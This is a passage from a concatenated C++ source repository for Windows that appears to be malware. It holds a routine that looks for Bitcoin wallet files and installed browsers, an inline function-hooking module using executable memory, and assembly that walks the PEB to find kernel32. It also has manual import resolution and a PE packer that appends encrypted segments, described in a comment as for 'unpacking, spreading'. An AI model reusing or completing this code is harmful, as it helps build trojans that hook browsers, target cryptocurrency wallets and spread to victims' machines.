ad_test_bitcoin2; 92 | if ( check_file_existence(*bitcoin_binary_path) && 93 | check_file_existence(*bitcoin_data_path)) 94 | { 95 | data->is_bitcoin = true; 96 | mem::copy(data->bitcoin_loc, **bitcoin_binary_path, bitcoin_binary_path->lenA()); 97 | } 98 | 99 | // Chrome 100 | str_string *chrome_binary_path = *this->AppData + ad_test_chrome; 101 | if (check_file_existence(*chrome_binary_path)) { 102 | data->is_chrome = true; 103 | mem::copy(data->chrome_loc, **chrome_binary_path, chrome_binary_path->lenA()); 104 | } 105 | 106 | // Opera 107 | str_string *opera_binary_path = *this->ProgFiles64 + pf64_test_opera; 108 | if (check_file_existence(*opera_binary_path)) { 109 | data->is_opera = true; 110 | mem::copy(data->opera_loc, **opera_binary_path, opera_binary_path->lenA()); 111 | } 112 | 113 | // Firefox 114 | str_string *ff_binary_path = *this->ProgFiles86 + pf_test_ff; 115 | if (check_file_existence(*ff_binary_path)) { 116 | data->is_firefox = true; 117 | mem::copy(data->firefox_loc, **ff_binary_path, ff_binary_path->lenA()); 118 | } 119 | 120 | // IE 121 | str_string *ie_binary_path = *this->ProgFiles64 + pf64_test_ie; 122 | if (check_file_existence(*ie_binary_path)) { 123 | data->is_ie = true; 124 | mem::copy(data->ie_loc, **ie_binary_path, ie_binary_path->lenA()); 125 | } 126 | 127 | } else { 128 | return false; 129 | } 130 | 131 | return true; 132 | } 133 | 134 | bool client_info::check_file_existence(__in const LPSTR path) 135 | { 136 | HANDLE file_handle = cCreateFileA( 137 | path, 138 | GENERIC_READ, 139 | 0, 140 | NULL, 141 | OPEN_EXISTING, 142 | FILE_ATTRIBUTE_NORMAL, 143 | NULL); 144 | if (file_handle != INVALID_HANDLE_VALUE) { 145 | cCloseHandle(file_handle); 146 | return true; 147 | } 148 | 149 | return false; 150 | } 151 | 152 | bool client_info::check_file_existence(__in const str_string& path) 153 | { 154 | return check_file_existence(*path); 155 | } -------------------------------------------------------------------------------- /common/inline.cpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef _WINDOWS_ 3 | #include 4 | #endif 5 | 6 | #include 7 | 8 | #ifndef CONFIG_OK 9 | #include "../config.h" 10 | #endif 11 | 12 | #ifdef CONFIG_COMPILE64 13 | #pragma message (OUTPUT_PRIMARY "crypt library: Compiling 64-bit") 14 | #else 15 | #pragma message (OUTPUT_PRIMARY "crypt library: Compiling 32-bit.") 16 | #endif 17 | 18 | #include "inline.h" 19 | 20 | #include "api.h" 21 | #include "common/mem.h" 22 | #include "debug/debug.h" 23 | 24 | #include "external/asmlen.h" 25 | 26 | inline_asm::ASM_ERROR inline_asm::hook_intro(__inout inline_asm::PHOOK_INFO hook_info) 27 | { 28 | // Test all pointers 29 | if (cIsBadWritePtr(hook_info->function_address, hook_info->patch_inst_len)) return inline_asm::ER_ASM_PATCH; 30 | 31 | // Create patch buffer 32 | hook_info->patch_buffer = (LPVOID)cVirtualAlloc(NULL, types::PAGE_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 33 | if (hook_info->patch_buffer == NULL) return inline_asm::ER_ASM_PATCH; 34 | mem::zeromem(hook_info->patch_buffer, types::PAGE_SIZE); 35 | mem::copy(hook_info->patch_buffer, hook_info->function_address, hook_info->patch_inst_len); 36 | *(inline_asm::POPCODE_BYTE)((DWORD_PTR)hook_info->patch_buffer + hook_info->patch_inst_len) = 37 | *inline_asm::opcode_list[inline_asm::OPCODE_MOV_EAX].buffer; 38 | *(inline_asm::POPERAND_DWORD)((DWORD_PTR)hook_info->patch_buffer + hook_info->patch_inst_len + inline_asm::opcode_list[inline_asm::OPCODE_MOV_EAX].size) = 39 | (OPERAND_DWORD)hook_info->return_address; 40 | *(inline_asm::POPCODE_WORD)((DWORD_PTR)hook_info->patch_buffer + hook_info->patch_inst_len + inline_asm::opcode_list[inline_asm::OPCODE_MOV_EAX].size + 41 | sizeof(inline_asm::OPERAND_DWORD)) = *(inline_asm::POPCODE_WORD)inline_asm::opcode_list[inline_asm::OPCODE_JMP_EAX].buffer; 42 | 43 | mem::set(hook_info->function_address, *(PBYTE)inline_asm::opcode_list[OPCODE_NOP].buffer, 44 | hook_info->patch_inst_len); 45 | 46 | #ifdef DEBUG_OUT 47 | DBGOUT("Patching %d bytes.", hook_info->patch_inst_len); 48 | #endif 49 | 50 | inline_asm::OPERAND_DWORD relative_offset; 51 | if ((DWORD_PTR)hook_info->function_address > (DWORD_PTR)hook_info->handler_address) { 52 | relative_offset = ~((DWORD_PTR)hook_info->function_address - (DWORD_PTR)hook_info->handler_address) - 5; 53 | } else { 54 | relative_offset = (DWORD_PTR)hook_info->handler_address - (DWORD_PTR)hook_info->function_address - 6; 55 | } 56 | switch (inline_asm::use_interrupt) 57 | { 58 | case true: 59 | // 0xcc 60 | *(inline_asm::POPCODE_BYTE)hook_info->function_address = *inline_asm::opcode_list[inline_asm::OPCODE_INT3].buffer; 61 | 62 | // Jmp rel32 opcode 63 | *(inline_asm::POPCODE_BYTE)((DWORD_PTR)hook_info->function_address + inline_asm::opcode_list[inline_asm::OPCODE_INT3].size) = 64 | *inline_asm::opcode_list[inline_asm::OPCODE_JMP_REL32].buffer; 65 | 66 | // Stamp in operand32 67 | *(inline_asm::POPERAND_DWORD)((DWORD_PTR)hook_info->function_address + inline_asm::opcode_list[inline_asm::OPCODE_INT3].size + 68 | inline_asm::opcode_list[inline_asm::OPCODE_JMP_REL32].size) = relative_offset; 69 | break; 70 | case false: 71 | // 0xcc 72 | *(inline_asm::POPCODE_BYTE)hook_info->function_address = *inline_asm::opcode_list[inline_asm::OPCODE_NOP].buffer; 73 | 74 | // Jmp rel32 opcode 75 | *(inline_asm::POPCODE_BYTE)((DWORD_PTR)hook_info->function_address + inline_asm::opcode_list[inline_asm::OPCODE_NOP].size) = 76 | *inline_asm::opcode_list[inline_asm::OPCODE_JMP_REL32].buffer; 77 | 78 | // Stamp in operand32 79 | *(inline_asm::POPERAND_DWORD)((DWORD_PTR)hook_info->function_address + inline_asm::opcode_list[inline_asm::OPCODE_NOP].size + 80 | inline_asm::opcode_list[inline_asm::OPCODE_JMP_REL32].size) = relative_offset; 81 | break; 82 | } 83 | 84 | return ER_ASM_OK; 85 | } 86 | 87 | inline_asm::DISASM_ERROR inline_asm::disasm_get_amount_to_patch(__in LPVOID address, 88 | __in UINT min_bytes_to_patch, 89 | __out PUINT amount_to_patch) 90 | { 91 | 92 | // Call into asmlen.cpp (recursive) 93 | *amount_to_patch = 0; 94 | DWORD instruction_length; 95 | while (*amount_to_patch < min_bytes_to_patch) { 96 | get_asm_len((PDWORD)((DWORD_PTR)address + *amount_to_patch), &instruction_length); 97 | if (instruction_length == 0) { 98 | *amount_to_patch = 0; 99 | return inline_asm::DISASM_ER_FAIL; 100 | } 101 | *amount_to_patch += (UINT)instruction_length; 102 | } 103 | 104 | return inline_asm::DISASM_ER_OK; 105 | } 106 | 107 | #ifdef __cplusplus 108 | extern "C" { 109 | #endif 110 | HMODULE get_kernel32_base32(VOID) 111 | { 112 | HMODULE base_address; 113 | 114 | /* 115 | xor ebx, ebx // clear ebx 116 | mov ebx, fs:[ 0x30 ] // get a pointer to the PEB 117 | mov ebx, [ ebx + 0x0C ] // get PEB->Ldr 118 | mov ebx, [ ebx + 0x14 ] // get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry) 119 | mov ebx, [ ebx ] // get the next entry (2nd entry) 120 | mov ebx, [ ebx ] // get the next entry (3rd entry) 121 | mov ebx, [ ebx + 0x10 ] // get the 3rd entries base address (kernel32.dll) 122 | */ 123 | #ifndef WIN64 124 | __asm { 125 | xor ebx, ebx 126 | mov ebx, fs:[0x30] 127 | mov ebx, [ebx + 0x0c] 128 | mov ebx, [ebx + 0x14] 129 | mov ebx, [ebx] 130 | mov ebx, [ebx] 131 | mov ebx, [ebx + 0x10] 132 | mov base_address, ebx 133 | } 134 | #else 135 | return GetModuleHandleA("kernel32.dll"); 136 | #endif 137 | 138 | return base_address; 139 | } 140 | 141 | HMODULE get_local_dll_base(VOID) 142 | { 143 | void *base; 144 | 145 | #ifndef WIN64 146 | __asm { 147 | nop 148 | call delta 149 | delta: 150 | pop ebx 151 | and ebx, 0ffff0000h 152 | xor eax, eax 153 | 154 | main_loop: 155 | mov ax, [ebx] 156 | cmp ax, 'ZM' 157 | je exit_loop 158 | 159 | sub ebx, 1000h 160 | jmp main_loop 161 | 162 | exit_loop: 163 | mov base, ebx 164 | } 165 | #else 166 | return (HMODULE)GetModuleHandleA(NULL); 167 | #endif 168 | 169 | return (HMODULE)base; 170 | } 171 | 172 | #ifdef __cplusplus 173 | } 174 | #endif 175 | 176 | -------------------------------------------------------------------------------- /import32.cpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef _WINDOWS_ 3 | #include 4 | #endif 5 | 6 | #include 7 | 8 | #ifndef CONFIG_OK 9 | #include "J:/_api/config.h" 10 | #endif 11 | 12 | #ifdef CONFIG_COMPILE64 13 | #pragma message (OUTPUT_PRIMARY "import32: Compiling 64-bit") 14 | #else 15 | #pragma message (OUTPUT_PRIMARY "import32: Compiling 32-bit.") 16 | #endif 17 | 18 | //#define __cplusplus 19 | #ifdef __cplusplus 20 | extern "C" 21 | #endif 22 | 23 | #include "common\inline.h" 24 | #include "common\str.h" 25 | #include "debug\error.h" 26 | 27 | #define MAKELONG(a, b) ((LONG)(((WORD)(((DWORD_PTR)(a)) & 0xffff)) | ((DWORD)((WORD)(((DWORD_PTR)(b)) & 0xffff))) << 16)) 28 | 29 | HMODULE (__stdcall *f_LoadLibraryA_I32)(LPCSTR file_name) = NULL; 30 | INT (__stdcall *f_GetProcAddress_I32)(HANDLE module, LPCSTR name) = NULL; 31 | BOOL (__stdcall *f_IsBadReadPtr_I32)(const VOID *ptr, UINT_PTR size) = NULL; 32 | typedef struct { 33 | HMODULE kernel32; 34 | LPVOID *loadlibrary; 35 | LPVOID *getprocaddress; 36 | LPVOID *isbadreadptr; 37 | } LOADING_FUNCTIONS, *PLOADING_FUNCTIONS; 38 | LOADING_FUNCTIONS functions = {NULL, (LPVOID *)&f_LoadLibraryA_I32, (LPVOID *)&f_GetProcAddress_I32, (LPVOID *)&f_IsBadReadPtr_I32}; 39 | 40 | LPVOID resolve_export(HMODULE module, LPCSTR function); 41 | bool resolve_loading_functions(PLOADING_FUNCTIONS functions); 42 | 43 | static const PCHAR getprocaddress_string = "GetProcAddress"; 44 | static const PCHAR loadlibrary_string = "LoadLibraryA"; 45 | static const PCHAR isbadreadptr_string = "IsBadReadPtr"; 46 | 47 | VOID resolve_local_api32(VOID) 48 | { 49 | functions.kernel32 = get_kernel32_base32(); 50 | if (functions.kernel32 == NULL) error::halt_dll(error::ER_GET_KERNEL32, error::default_halt_code); 51 | 52 | bool resolve_status = resolve_loading_functions(&functions); 53 | if (resolve_status == false) error::halt_dll(error::ER_GET_KERNEL32, error::default_halt_code); 54 | 55 | LPVOID image_base = get_local_dll_base(); 56 | PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)image_base; 57 | PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((DWORD_PTR)image_base + dos_header->e_lfanew); 58 | 59 | PIMAGE_SECTION_HEADER section_header = IMAGE_FIRST_SECTION(nt_headers); 60 | types::OFFSET32 file_offset = (types::OFFSET32)nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress 61 | - section_header->VirtualAddress + section_header->Misc.PhysicalAddress; 62 | PIMAGE_IMPORT_DESCRIPTOR import_descriptor = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD_PTR)image_base 63 | + (DWORD_PTR)nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); 64 | 65 | while (TRUE) { 66 | LPSTR module_name = (LPSTR)((DWORD_PTR)image_base + import_descriptor->Name); 67 | HMODULE module = f_LoadLibraryA_I32(module_name); 68 | if (module == NULL) { 69 | import_descriptor++; 70 | if (import_descriptor->FirstThunk == 0) break; 71 | continue; 72 | } 73 | 74 | PIMAGE_THUNK_DATA32 thunk_data = (PIMAGE_THUNK_DATA32)((DWORD_PTR)image_base + import_descriptor->FirstThunk); 75 | if (thunk_data->u1.Ordinal & IMAGE_ORDINAL_FLAG32) { 76 | // Ordinal 77 | while (TRUE) { 78 | if (thunk_data->u1.AddressOfData == 0) break; 79 | types::ORDINAL32 import_by_ordinal = (types::ORDINAL32)(((DWORD_PTR)image_base + thunk_data->u1.AddressOfData) & 0x0000ffff); 80 | DWORD function_address = (DWORD)f_GetProcAddress_I32(module, (LPCSTR)import_by_ordinal); 81 | if (function_address == 0 || function_address == thunk_data->u1.Function) { 82 | thunk_data++; 83 | continue; 84 | } 85 | 86 | thunk_data->u1.Function = function_address; 87 | thunk_data++; 88 | } 89 | } else { 90 | // Name (RVA) 91 | while (TRUE) { 92 | if (thunk_data->u1.AddressOfData == 0) break; 93 | 94 | PIMAGE_IMPORT_BY_NAME import_by_name = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)image_base + thunk_data->u1.AddressOfData); 95 | if (f_IsBadReadPtr_I32(import_by_name->Name, str::ASCII_CHAR)) { 96 | thunk_data++; 97 | continue; 98 | } 99 | 100 | DWORD function_address = (DWORD)f_GetProcAddress_I32(module, (LPCSTR)import_by_name->Name); 101 | if (function_address == 0 || function_address == thunk_data->u1.Function) { 102 | thunk_data++; 103 | continue; 104 | } 105 | 106 | thunk_data->u1.Function = function_address; 107 | thunk_data++; 108 | } 109 | } 110 | import_descriptor++; 111 | if (import_descriptor->OriginalFirstThunk == 0) break; 112 | } 113 | 114 | return; 115 | } 116 | 117 | static bool resolve_loading_functions(const PLOADING_FUNCTIONS functions) 118 | { 119 | if (functions == false || functions->kernel32 == NULL) return false; 120 | 121 | *functions->getprocaddress = (INT (__stdcall *)(HANDLE, LPCSTR))resolve_export(functions->kernel32, getprocaddress_string); 122 | *functions->loadlibrary = (HMODULE (__stdcall *)(LPCSTR))resolve_export(functions->kernel32, loadlibrary_string); 123 | *functions->isbadreadptr = (BOOL (__stdcall *)(const VOID *, UINT_PTR))resolve_export(functions->kernel32, isbadreadptr_string); 124 | 125 | return true; 126 | } 127 | 128 | static LPVOID resolve_export(HMODULE module, LPCSTR function) 129 | { 130 | PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)module; 131 | PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((DWORD_PTR)dos_header + dos_header->e_lfanew); 132 | PIMAGE_EXPORT_DIRECTORY eat = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)dos_header + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); 133 | 134 | PDWORD name_ptr = (PDWORD) ((DWORD_PTR)dos_header + eat->AddressOfNames); 135 | PWORD ordinal_ptr = (PWORD) ((DWORD_PTR)dos_header + eat->AddressOfNameOrdinals); 136 | 137 | INT ordinal = -1; 138 | for (UINT i = 0; i < eat->NumberOfNames; i++) { 139 | 140 | PCHAR name_string = (PCHAR)((DWORD_PTR)dos_header + name_ptr[i]); 141 | 142 | if (str::compareA(name_string, function, str::lenA(function)) == 0) { 143 | ordinal = (UINT)ordinal_ptr[i]; 144 | break; 145 | } 146 | } 147 | 148 | LPVOID return_function = 0; 149 | if (ordinal != -1) { 150 | PDWORD addr_ptr = (PDWORD)((DWORD_PTR)dos_header + eat->AddressOfFunctions); 151 | return_function = (LPVOID)((DWORD_PTR)dos_header + addr_ptr[ordinal]); 152 | } 153 | 154 | return return_function; 155 | } 156 | -------------------------------------------------------------------------------- /core/pe.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | #ifdef USE_PE 5 | #error "USE_PE apready defined" 6 | #endif 7 | #define USE_PE 8 | 9 | #ifndef USE_MEM 10 | #include "common/mem.h" 11 | #endif 12 | 13 | #include 14 | 15 | #ifndef CONFIG_OK 16 | #include "../config.h" 17 | #endif 18 | 19 | #include "crypt/crypt.h" 20 | 21 | #ifndef DISABLE_LIBRARY_INFO 22 | #ifdef CONFIG_COMPILE64 23 | #pragma message (OUTPUT_PRIMARY "PE: Compiling 64-bit") 24 | #else 25 | #pragma message (OUTPUT_PRIMARY "PE: Compiling 32-bit.") 26 | #endif 27 | #endif 28 | 29 | // Force disable zip compression on last segment packaging 30 | #define DISABLE_COMPRESS_ON_PACKER 31 | 32 | // The random pool used for the last segment encryption key 33 | #define LAST_SEG_ENC_POOL 2048 34 | 35 | // -1 is used as compressed the size (in last_seg_hdr) if no compression is used 36 | #define LAST_SEG_NO_COMP -1 37 | 38 | // When adding a last section, this will be its total length (except the . at front) 39 | #define LAST_SEG_NAME_LEN 3 40 | 41 | // Magic signatures 42 | #define DOS_MAGIC 'ZM' 43 | #define PE_MAGIC 'EP' 44 | 45 | // Signature for compression/encryption of last segment 46 | #define LAST_SEG_ENC_SIG 'FU' 47 | 48 | namespace pe { 49 | 50 | // Constants 51 | static const UINT last_seg_enc_pool = LAST_SEG_ENC_POOL; 52 | static const INT last_seg_no_comp = LAST_SEG_NO_COMP; 53 | static const UINT last_seg_name_len = LAST_SEG_NAME_LEN; 54 | 55 | static const WORD dos_magic = DOS_MAGIC; 56 | static const WORD pe_magic = PE_MAGIC; 57 | 58 | static const WORD last_seg_enc_sig = LAST_SEG_ENC_SIG; 59 | 60 | typedef DWORD PE_ERROR; 61 | enum { 62 | ER_PE_OK, 63 | ER_PE_GENERAL_FAILURE, 64 | ER_PE_ADD_SEGMENT 65 | }; 66 | 67 | 68 | // Check if the PE is valid 69 | bool is_raw_valid(const LPVOID raw); 70 | 71 | // Header info 72 | typedef struct { 73 | 74 | } SEC_HDR, *PSEC_HDR; 75 | typedef PSEC_HDR PFIRST_SECTION; 76 | typedef struct { 77 | PIMAGE_DOS_HEADER dos_header; 78 | PIMAGE_NT_HEADERS nt_headers; 79 | PIMAGE_FILE_HEADER file_header; 80 | PFIRST_SECTION first_section; 81 | 82 | } HEADERS, *PHEADERS; 83 | 84 | // Returns the IMAGE_DOS_HEADER 85 | static const WORD mz_signature = 'ZM'; 86 | PIMAGE_DOS_HEADER get_dos_header(LPVOID raw); 87 | 88 | // Returns the IMAGE_NT_HEADERS 89 | static const WORD pe_signature = 'EP'; 90 | PIMAGE_NT_HEADERS get_nt_headers(LPVOID raw); 91 | 92 | // Returns the first section 93 | PFIRST_SECTION get_first_section(PIMAGE_NT_HEADERS nt_headers); 94 | 95 | // Raw/virtual PE geometry 96 | typedef struct { 97 | LPVOID raw; 98 | HEADERS headers; 99 | UINT number_of_sections; 100 | UINT raw_size; 101 | UINT virtual_size; 102 | DWORD file_alignment; 103 | DWORD virtual_alignment; 104 | DWORD base_address; 105 | BOOL is_dll_movable; 106 | } PE_GEOMETRY, *PPE_GEOMETRY; 107 | PPE_GEOMETRY get_file_geometry(const LPVOID raw); 108 | 109 | // Converts the running virtual image into a raw physical image 110 | LPVOID convert_virtual_to_raw(__in LPVOID virtual_image, __out PUINT raw_size); 111 | 112 | // Adds a last segment to a raw PE 113 | #define round(n, r) (((n+(r-1))/r)*r) 114 | PE_ERROR add_last_segment_to_raw( __in LPVOID target_binary, 115 | __in UINT target_binary_size, 116 | __in LPVOID last_section, 117 | __in UINT last_section_size, 118 | __out LPVOID *out, 119 | __out PUINT out_size); 120 | 121 | // Returns the last section of the PE (raw) 122 | PIMAGE_SECTION_HEADER get_last_section(PPE_GEOMETRY geometry); 123 | 124 | // Returns the last section of a virtual loaded PE. Unpacking, spreading, etc 125 | bool return_last_virtual_section(__in LPVOID virtual_base, __out LPVOID *last_section, __out PUINT last_section_raw_size); 126 | 127 | // PE Object 128 | class raw_pe; 129 | typedef Ptr RawPe; 130 | typedef struct last_seg_hdr { 131 | BYTE is_encrypted; 132 | BYTE is_compressed; 133 | WORD signature; 134 | 135 | BYTE key[crypt::md5_length]; 136 | 137 | INT decompressed_size; 138 | 139 | UINT header_size; 140 | UINT data_size; 141 | UINT encrypted_data_size; 142 | 143 | last_seg_hdr(void) 144 | { 145 | is_encrypted = FALSE; 146 | is_compressed = FALSE; 147 | signature = last_seg_enc_sig; 148 | data_size = 0; // Compressed size 149 | header_size = sizeof(last_seg_hdr); 150 | decompressed_size = 0; 151 | encrypted_data_size = 0; 152 | mem::zeromem(key, sizeof(key)); 153 | } 154 | } LAST_SEG_HDR, *PLAST_SEG_HDR; 155 | 156 | class raw_pe { 157 | 158 | private: 159 | Ptr RawBuffer; 160 | PPE_GEOMETRY pe_geometry; 161 | 162 | bool is_ok; 163 | 164 | public: 165 | raw_pe(__in const LPVOID raw_image, __in const UINT raw_image_size) : 166 | RawBuffer(new mem::buffer2(raw_image, raw_image_size)), 167 | is_ok(false), 168 | pe_geometry(NULL) 169 | { 170 | bool sanity_status = pe::is_raw_valid(RawBuffer->get_raw_buffer()); 171 | if (sanity_status == false) { 172 | return; 173 | } 174 | 175 | pe_geometry = pe::get_file_geometry(RawBuffer->get_raw_buffer()); 176 | if (pe_geometry == NULL) { 177 | return; 178 | } 179 | 180 | this->is_ok = true; 181 | } 182 | 183 | raw_pe(__in const mem::buffer2 *raw_image) : 184 | RawBuffer(new mem::buffer2(raw_image->get_raw_buffer(), raw_image->get_raw_size())), 185 | is_ok(false), 186 | pe_geometry(NULL) 187 | { 188 | bool sanity_status = pe::is_raw_valid(RawBuffer->get_raw_buffer()); 189 | if (sanity_status == false) { 190 | return; 191 | } 192 | 193 | pe_geometry = pe::get_file_geometry(RawBuffer->get_raw_buffer()); 194 | if (pe_geometry == NULL) { 195 | return; 196 | } 197 | 198 | this->is_ok = true; 199 | } 200 | 201 | raw_pe(__in const mem::buffer2& raw_image) : 202 | RawBuffer(new mem::buffer2(*raw_image, raw_image.get_raw_size())), 203 | is_ok(false), 204 | pe_geometry(NULL) 205 | { 206 | bool sanity_status = pe::is_raw_valid(RawBuffer->get_raw_buffer()); 207 | if (sanity_status == false) { 208 | return; 209 | } 210 | 211 | pe_geometry = pe::get_file_geometry(RawBuffer->get_raw_buffer()); 212 | if (pe_geometry == NULL) { 213 | return; 214 | } 215 | 216 | this->is_ok = true; 217 | } 218 | 219 | ~raw_pe(VOID) 220 | { 221 | if (pe_geometry != NULL) { 222 | mem::free(pe_geometry); 223 | } 224 | } 225 | 226 | // Does not realloc 227 | PPE_GEOMETRY get_geometry(VOID) const 228 | { 229 | return this->pe_geometry; 230 | } 231 | 232 | bool get_is_ok(VOID) const 233 | { 234 | return this->is_ok; 235 | } 236 | 237 | mem::buffer2 *get_raw_buffer(void) const 238 | { 239 | return this->RawBuffer.get_value(); 240 | } 241 | 242 | bool adjust_nt_header_from_geometry(__inout PIMAGE_NT_HEADERS header, 243 | __in const PPE_GEOMETRY geometry); 244 | 245 | 246 | // Modify header for new append segment 247 | bool append_last_segment(__in const mem::buffer2& raw_image, 248 | __in PPE_GEOMETRY geo); 249 | 250 | // Header for last segment data 251 | private: 252 | 253 | /* 254 | typedef struct last_seg_hdr { 255 | BYTE is_encrypted; 256 | BYTE is_compressed; 257 | BYTE signature; 258 | 259 | BYTE key[crypt::md5_length]; 260 | 261 | INT decompressed_size; 262 | 263 | UINT header_size; 264 | UINT data_size; 265 | 266 | last_seg_hdr(void) 267 | { 268 | is_encrypted = FALSE; 269 | is_compressed = FALSE; 270 | signature = last_seg_enc_sig; 271 | mem::zeromem(key, sizeof(key)); 272 | data_size = 0; // Compressed size 273 | header_size = sizeof(last_seg_hdr); 274 | decompressed_size = 0; 275 | } 276 | } LAST_SEG_HDR, *PLAST_SEG_HDR; 277 | */ 278 | 279 | // Adds another PE binary as a last segment 280 | public: 281 | bool add_pe_as_last_segment(__in const pe::raw_pe& bin, 282 | __in const bool encrypt, 283 | __in const bool compress); 284 | 285 | // Adds data as a last segment 286 | bool add_data_as_last_segment(__in const mem::buffer2& bin, 287 | __in const bool encrypt, 288 | __in const bool compress) 289 | { 290 | //todo 291 | return false; 292 | } 293 | }; 294 | } -------------------------------------------------------------------------------- /http/url.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef _WINDOWS_ 3 | #include 4 | #endif 5 | 6 | #include 7 | #include 8 | 9 | #include 10 | 11 | #ifndef CONFIG_OK 12 | #include "../config.h" 13 | #endif 14 | 15 | #ifndef DISABLE_LIBRARY_INFO 16 | #ifdef CONFIG_COMPILE64 17 | #pragma message (OUTPUT_PRIMARY "URL: Loading standard memory module (64)") 18 | #else 19 | #pragma message (OUTPUT_PRIMARY "URL: Loading standard memory module (32)") 20 | #endif 21 | #endif 22 | 23 | #include "common/str.h" 24 | #include "common/mem.h" 25 | 26 | //http://www.ollydbg.de/odbg110.zip 27 | 28 | namespace url_library { 29 | // Constants 30 | static const LPSTR _http_protocol = "http://"; 31 | static const LPSTR _xtp_protocol = "xtp://"; 32 | static const CHAR _slash = '/'; 33 | 34 | class url { 35 | private: 36 | Ptr RawURL; 37 | Ptr Hostname; 38 | Ptr File; 39 | 40 | enum url_type { 41 | TYPE_NONE, 42 | TYPE_HTTP, 43 | TYPE_XTP 44 | }; 45 | url_type type; 46 | 47 | bool is_ok; 48 | public: 49 | url(__in const LPSTR raw_url) : 50 | RawURL(new str_string(raw_url)), 51 | Hostname(NULL), File(NULL), 52 | type(TYPE_NONE), 53 | is_ok(false) 54 | { 55 | if (!str::compareA(raw_url, _http_protocol, str::lenA(_http_protocol))) { 56 | // Parse URL http 57 | PCHAR ptr; 58 | if (RawURL->lenA() < str::lenA(_http_protocol)) { 59 | ptr = (PCHAR)RawURL->to_lpstr(); 60 | } else if (!mem::compare((LPCVOID)RawURL->to_lpstr(), _http_protocol, str::lenA(_http_protocol))) { 61 | ptr = (PCHAR)((DWORD_PTR)RawURL->to_lpstr() + str::lenA(_http_protocol)); 62 | } else { 63 | ptr = (PCHAR)RawURL->to_lpstr(); 64 | } 65 | 66 | // Check if there is a file 67 | if (str::find_character_in_stringA(ptr, str::lenA(ptr), _slash) == false || 68 | *(PCHAR)&ptr[str::lenA(ptr)] == _slash) { 69 | // No file 70 | Hostname = new str_string(ptr); 71 | this->is_ok = true; 72 | return; 73 | } 74 | 75 | // There is a file 76 | PCHAR ptr2; 77 | str::find_sequence_pointerA(ptr, str::lenA(ptr), &_slash, str::ASCII_CHAR, (LPSTR *)&ptr2); 78 | LPSTR raw_hostname = (LPSTR)mem::malloc((UINT)((DWORD_PTR)ptr2 - (DWORD_PTR)ptr) + str::ASCII_CHAR); 79 | mem::copy(raw_hostname, ptr, (DWORD_PTR)ptr2 - (DWORD_PTR)ptr); 80 | this->Hostname = new str_string(raw_hostname); 81 | mem::free(raw_hostname); 82 | 83 | ptr2++; 84 | this->File = new str_string((LPSTR)ptr2); 85 | this->is_ok = true; 86 | this->type = TYPE_HTTP; 87 | } else if (!str::compareA(raw_url, _xtp_protocol, str::lenA(_xtp_protocol))) { 88 | // XTP protocol URL 89 | PCHAR ptr; 90 | if (RawURL->lenA() < str::lenA(_xtp_protocol)) { 91 | ptr = (PCHAR)RawURL->to_lpstr(); 92 | } else if (!mem::compare((LPCVOID)RawURL->to_lpstr(), _xtp_protocol, str::lenA(_xtp_protocol))) { 93 | ptr = (PCHAR)((DWORD_PTR)RawURL->to_lpstr() + str::lenA(_xtp_protocol)); 94 | } else { 95 | ptr = (PCHAR)RawURL->to_lpstr(); 96 | } 97 | 98 | // Check if there is a file 99 | if (str::find_character_in_stringA(ptr, str::lenA(ptr), _slash) == false || 100 | *(PCHAR)&ptr[str::lenA(ptr)] == _slash) { 101 | // No file 102 | Hostname = new str_string(ptr); 103 | this->is_ok = true; 104 | return; 105 | } 106 | 107 | // There is a file 108 | PCHAR ptr2; 109 | str::find_sequence_pointerA(ptr, str::lenA(ptr), &_slash, str::ASCII_CHAR, (LPSTR *)&ptr2); 110 | LPSTR raw_hostname = (LPSTR)mem::malloc((UINT)((DWORD_PTR)ptr2 - (DWORD_PTR)ptr) + str::ASCII_CHAR); 111 | mem::copy(raw_hostname, ptr, (DWORD_PTR)ptr2 - (DWORD_PTR)ptr); 112 | this->Hostname = new str_string(raw_hostname); 113 | mem::free(raw_hostname); 114 | 115 | ptr2++; 116 | this->File = new str_string((LPSTR)ptr2); 117 | this->type = TYPE_XTP; 118 | this->is_ok = true; 119 | } else { 120 | return; 121 | } 122 | } 123 | 124 | url(__in const str_string& raw_url) : 125 | RawURL(new str_string(raw_url.to_lpstr())), 126 | Hostname(NULL), File(NULL), 127 | type(TYPE_HTTP), 128 | is_ok(false) 129 | { 130 | if (!str::compareA(*raw_url, _http_protocol, str::lenA(_http_protocol))) { 131 | 132 | // Parse URL http 133 | PCHAR ptr; 134 | if (RawURL->lenA() < str::lenA(_http_protocol)) { 135 | ptr = (PCHAR)RawURL->to_lpstr(); 136 | } else if (!mem::compare((LPCVOID)RawURL->to_lpstr(), _http_protocol, str::lenA(_http_protocol))) { 137 | ptr = (PCHAR)((DWORD_PTR)RawURL->to_lpstr() + str::lenA(_http_protocol)); 138 | } else { 139 | ptr = (PCHAR)RawURL->to_lpstr(); 140 | } 141 | 142 | // Check if there is a file 143 | if (str::find_character_in_stringA(ptr, str::lenA(ptr), _slash) == false || 144 | *(PCHAR)&ptr[str::lenA(ptr)] == _slash) { 145 | // No file 146 | Hostname = new str_string(ptr); 147 | this->is_ok = true; 148 | return; 149 | } 150 | 151 | // There is a file 152 | PCHAR ptr2; 153 | str::find_sequence_pointerA(ptr, str::lenA(ptr), &_slash, str::ASCII_CHAR, (LPSTR *)&ptr2); 154 | LPSTR raw_hostname = (LPSTR)mem::malloc((UINT)((DWORD_PTR)ptr2 - (DWORD_PTR)ptr) + str::ASCII_CHAR); 